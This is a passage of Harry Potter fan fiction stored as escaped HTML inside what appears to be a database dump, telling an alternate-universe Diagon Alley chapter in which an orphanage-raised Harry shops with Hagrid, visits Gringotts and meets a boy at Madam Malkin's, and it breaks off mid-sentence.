class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(197, 1, '\n\n\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\nChapter 2: Diagon Alley\n\n<p class="MsoNormal">&nbsp;</p>\n\n&#8220;Time ta ge&#8217; up &#8216;Arry&#8221;\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go\naway I&#8217;m sleepin&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\non &#8216;Arry time to get up&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsleepin&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8216;kay\nif thas how ya wan&#8217; it.&#8221; Hagrid said gripping the cover to the bed before\npulling them straight off leaving a cold Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nup! I&#8217;m up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goo&#8217;\nta &#8216;ear&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlooked around the room and realized last night wasn&#8217;t a dream!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Happy\nBirthday &#8216;Arry! Come on les go down for your birthday breakfast!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh\nmy Birthday? Oh yea, my birthday! Thanks!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nhalf-awake, stumbled while following Hagrid towards breakfast. Finally they\nreached tables where people were already eating their breakfast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nwould you two like today?&#8221; asked Tom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go\non &#8216;Arry anything ya like.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can\nI er&#8230;&#8230;. get some eggs and bacon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;O&#8217;\ncourse ya can.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay\neggs and bacon for the young man and what &#8216;bout you Hagrid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\ntake the same thing bu&#8217; with some toas&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay\nbe back in a sec&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Soon\nenough Tom was back with breakfast and the two happily ate away, but a few\npeople from last night were staring at him in awe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hagrid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yea,\nArry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\ndo people know my name and want to meet me so much?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nnot sure I should be the one to tell ya that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8230;&#8230;.okay\nI suppose it all starts with a man named&#8230;&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry\nit&#8217;s still hard for me to say these days&#8230;&#8230;.okay&#8230;&#8230;..Voldemort.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Voldemort?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nshh! Yes thas his name just don say it again. People are still scared to even\nsay his name!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;&#8230;.sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;&#8230;.never\nmind anyways this wizard, &#8216;bout twenty years ago, he started lookin&#8217; for\nfollowers. Got &#8216;em too, some were &#8216;fraid, some just wanted a bit o&#8217; his power.\n&#8216;Cause he was getting powerful. Dark days &#8216;Arry, didn know who ta trus&#8217;, didn\ndare get friendly with strangers&#8230;&#8230;..terrible things happened. He was takin ova&#8217;\nand o&#8217; course some stood up to &#8216;im. He killed &#8216;em too an&#8217; it was getin&#8217; to the\npoin&#8217; where the only safe place was Hogwarts. O&#8217; course I think Dumbledore was\nthe only one who he was scared of.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nyer mum and da were as good as a wizard and witch could get. Powerful ones too,\ndon know why he never tried ter convert them. Probably thought they were too\nclose ta Dumbledore. Anyways they were standin&#8217; up to him and were powerful so\nhe needed &#8216;em out o&#8217; the way. One nigh&#8217; he turned up at yer &#8216;ouse and &#8211; and.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid\nreached over for a napkin and blew his nose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry,\nits jus&#8217; that they were so nice, yer mum an&#8217; da. Well anyways he killed &#8216;em and\ncruel as he was went to kill you too. Now no one had ever survived when he wen&#8217;\nto kill em. Actually the curse, the Killing Curse, no one had eva&#8217; survived in\nhistory! So somehow when he used it on you &#8211; you &#8211; you I suppose threw it back\nat him. It rebounded on him and then he jus&#8217; disappeared! No one knows where he\nwent or if he is gone. I reckon he is jus&#8217; bidin&#8217; his time waitin&#8230;&#8230;&#8230;anyways\ncan&#8217;t ya see &#8216;Arry you stopped it all! You stopped what could have been\nVoldemort&#8217;s take over!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Least\nto say Harry was surprised by this information. That&#8217;s why they were all\nstaring at him. He was some sort of savior to them but he couldn&#8217;t remember any\nof it. He wondered how he stopped that curse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nles got off that sad subjec&#8217; and go into Diagon Alley!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Even\nthough Harry had many more questions he obliged. He followed Hagrid towards the\nback of the pub towards what looked a broom closet. When Hagrid opened the door\nshowing an empty closet, he wondered what they were doing here. Soon enough\nHagrid pulled out his umbrella and mumbled something incoherent to him while\ntapping the wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then\nsomething happened. A small whole appeared in the wall as Hagrid took a step\nback. The whole started getting bigger and bigger and bigger. Till finally it\nwas a large enough to fit both Hagrid as big as he was and Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Welcome\n&#8216;Arry to Diagon Alley!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There\nin front of him was a narrow alley with stores on each side. Tons of parents\nand children were talking and moving in and out of the stores with items in\ntheir hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nremembered something. &#8220;Hagrid how am I supposed to buy supplies when I&#8217;ve got\nno money?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\nnow &#8216;Arry. You don think yer parents left ya with nothin&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;er&#8230;&#8230;..&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ya\ngot yer own vault at Gringotts! Come on we&#8217;ll get ya some of yer money an&#8217; then\nbe off to buy yer supplies!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nfollow me and stick close! Don wanna get lost do ya?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nthat the two made their way through the crowds of people. Finally Harry saw\ntheir destination a very nice, very large building with the &#8220;Gringotts&#8221;\nelegantly carved into it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When\nthey headed in Harry stopped Hagrid had told them on their ride to the Leaky\nCauldron about the goblins that worked at Gringotts, but still seeing them up\nclose was a bit unnerving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stick\nclose &#8216;Arry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nstopped in front of an important looking goblin that was looking at them over\nhis glasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Morning,\nwe &#8216;ave come to take money outta Mr. Potters vault.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\nkey?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nyes here ya go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ngoblin gave him a scrutinizing look before handing the golden key back to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everything\nseems to be in order.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nalso got a letter here from Professor Dumbledore about you know what in you\nknow which vault.&#8221; Hagrid said quietly handing the goblin a letter with what he\nrecognized as the same seal that he got on his school letter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nwell, I will have someone take you down. Griphook!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instantly\nanother goblin came standing next to them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Take\nMr. Hagrid and Mr. Potter to their vaults.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ngoblin nodded and walked only looking back to make sure they were following.\nThey stopped in front of a dingy cart. The goblin climbed in and Hagrid\nfollowed. Harry got the idea and did the same. Then they were off down the\ntwisting and turning down the tunnels of Gringotts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nstopped in front of a small door and got off the cart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Key?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid\nhanded him the key and the goblin opened the door and stepped out of the way.\nHarry felt his mouth drop, for inside were piles of gold, silver, and bronze!\nHe touched the pile of gold making sure he wasn&#8217;t hallucinating.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nyours &#8216;Arry&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid\nchuckled at his response before sticking a leather pouch in his hands and\ntelling him to grab some of each. Then getting back into the cart Hagrid still\na bit green from the last ride looked like he was going to cry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once\nagain they rode farther down the tunnels before stopping at a stonewall that\nlooked stronger than stone. Hagrid and the goblin got out of the cart and the\ngoblin stood importantly in front of the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stand\nback&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Griphook\nstroked the middle of the wall with one of his long fingernails and it melted\naway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nanyone but a goblin tried that, they&#8217;d be sucked through the door.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\noften do you check to see if anyone is inside?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Once\nevery ten years.&#8221; Griphook said smiling nastily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nleaned forward wanting to see what was so important in this vault and expecting\nto see a mountain of gold and jewels. Inside was just a grubby looking package\nwrapped in brown paper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">One\ncart ride later they were standing outside the doors of Gringotts with the sun\nnow beaming down at them. Harry didn&#8217;t know what to do he never even had money\nto hold before! He didn&#8217;t know what to buy first and it seemed Hagrid noticed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\ndon we ge&#8217; yer uniforms first and some casual robes for you ter wear. Not ter\nbe rude but I think ya need &#8216;em.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay!&#8221;\nHarry replied excitedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry\ndo you mind if I get a quick pick-me-up while you pick out your robes?&#8221; Hagrid\nasked still looking very green.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nof course not Hagrid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nthat Hagrid headed towards the Leaky Cauldron while Harry went towards the\nMadam Malkin&#8217;s Robes for All Occasions. He entered the shop feeling nervous\ntill he heard someone shuffle behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nturned around to find him facing Madam Malkin a rosy cheeked, smiling witch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hogwarts,\ndear?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;er&#8230;..yes\nI need my uniform and some casual robes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madam\nMalkin seemed to brighten as he mentioned that he needed more than just his\nschool robes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\ngood just stand over their another young man is being fitted too. Once we get\nyour measurements we will work on some casual robes for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madam\nMalkin led him over to a stool next to a paled boy, with a hard face. She\nslipped a long black robe over his thin frame and began pinning it to the right\nlengths.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello,\nHogwarts too?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\nfather&#8217;s next door buying my books and mother&#8217;s down the street looking at\nwands. Then I&#8217;m going to drag them off to look at racing brooms. I don&#8217;t see\nwhy we can&#8217;t have them in our first year it really is a shame, when flying is\none of the most enjoyable things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ngot your own broom?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Play\nQuidditch at all?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nremembered what Hagrid told him about Quidditch and explained the game to him.\nIt sounded like a lot of fun to play.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Haven&#8217;t\ngot the chance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nhopefully you will get to next year when we are allowed to bring brooms. Maybe\nI&#8217;ll let you try mine when I get one.&#8221; he drawled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Know\nwhat house you will be in yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\none really knows till they get there, do they?&#8221; Harry questioned wondering if\ntheir was some other way of knowing before you got in that Hagrid didn&#8217;t tell\nhim about.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\nof course not, but I know I&#8217;ll be in Slytherin, all our family have been.\nImagine being in Hufflepuff, I think I&#8217;d leave, wouldn&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just\nbeing in a house with that name is enough to make me leave.&#8221; Harry found\nhimself replying since the name just sounded so ridiculous to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nother boy seemed to like that response because he smiled at him and sniggered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True,\nvery true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where\nare your parents?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dead&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nI&#8217;m sorry.&#8221; The boy replied obviously uncomfortable in the situation. &#8220;But they\nwere out kind weren&#8217;t they?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nyou mean witch and wizard yes they were.&#8221; This seemed to please the boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nthen what&#8217;s your surname?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\ndone.&#8221; Interrupted the witch that was working on the boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\nsee you at Hogwarts I suppose or on the train.&#8221; The boy said before heading\noff. He turned his attention back to Madam Malkin. She put a box into his\nhands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\nis your uniform now for your casual robes. Your size is over there I suggest\nyou don&#8217;t pick too many of one color since you don&#8217;t know which house you&#8217;ll be\nin.&#8221; the witch said pointing to a rack filled with all different color and\nstyled robes. Then he realized that Hagrid never told him the house colors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Er&#8230;&#8230;.could\nyou tell me the house colors?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nsorry I for got you most likely wouldn&#8217;t know. Slytherins are green and silver,\nHufflepuffs yellow and black,&#8221; Harry stifled a laugh now he really didn&#8217;t want\nto be in Hufflepuff not wanting to look like a bumble bee. &#8220;Ravenclaw blue and\nbronze, and Gryffindor red and gold.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\nproblem dear&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nnoticed each house color went well with their house mascots. That is one thing\nHagrid did tell him and was the mascots. Hagrid seemed to just mention the\nsnake, raven, and badger, but went into great detail about how the lion represented\nGryffindor. Harry suspected that was his house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwent over to the robes and took Madam Malkin&#8217;s advice by buying mostly black\nand gray robes. Finally when he was finished and the robes were paid for he\nexited the store to find Hagrid waiting for him outside with two large ice\ncreams in his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here\nya go &#8216;Arry thought you&#8217;d like some ice cream.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks!&#8221;\nHarry exclaimed smiling gratefully at Hagrid before taking his ice cream.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nbought his books at a place called Flourish and Blotts where there were books\nstacked to the ceiling on different subjects. Keeping the same train as thought\nfrom his studies at the orphanage bought other books.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid\ndidn&#8217;t say anything when he bought books on practically all the subjects he\ncould find even when he bought &#8220;The Big Book of Curses and Hexes for the\nBeginner&#8221;, but he did say that he probably wouldn&#8217;t want to learnt about what\nVoldemort did during his times at power when he bought &#8220;You-Know-Who&#8217;s Rise to\nPower&#8221;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry\nya sure ya wan&#8217; all those books? I mean I&#8217;m sure ya want ter know a lot seeing\nas you haven&#8217; been in the magical world before but still this is a &#8216;eavy load.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwant to know everything I can about magic. I don&#8217;t want to be just known for my\nfame of something I can&#8217;t remember. I want to be known for my knowledge of\nmagic. I&#8217;m just living up to my supposedly &#8220;greatness&#8221;. Knowledge is power,\nHagrid.&#8221; Harry said in a matter of fact way. He still didn&#8217;t like the idea he\nwas going to be known for something he couldn&#8217;t remember and that he did only\nat one!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid\nchuckled lightly and added &#8220;You sure have a thirst to prove yourself don&#8217;t ya?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nhuffed a bit but settled down as they headed off to do the rest of their\nshopping. Finally the list was winding down and they only had a bit more to\nbuy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Les\nsee &#8216;ere, looks like ya only got a wand left and oh yea I still aven&#8217; gotcha a\nBirthday present.&#8221; Hagrid told him smiling</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nfelt himself redden considerably before replying that he didn&#8217;t have to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;O&#8217;\ncourse I do it isn every day that a young man turns eleven now does it? I\nsuppose you never even got a gift at that cruddy orphanage?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nfelt a surge of guilt remembering he had left his friends behind especially his\nbest friend. He wondered what Mr. Barnings told him. He wished his friends\ncould come with him to Hogwarts none the less he was going to go to Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nyou go ahea&#8217; to Ollivander&#8217;s Wands while I go an get ya a pet, but what to get\nya a toad? No they went out of fashion years ago, 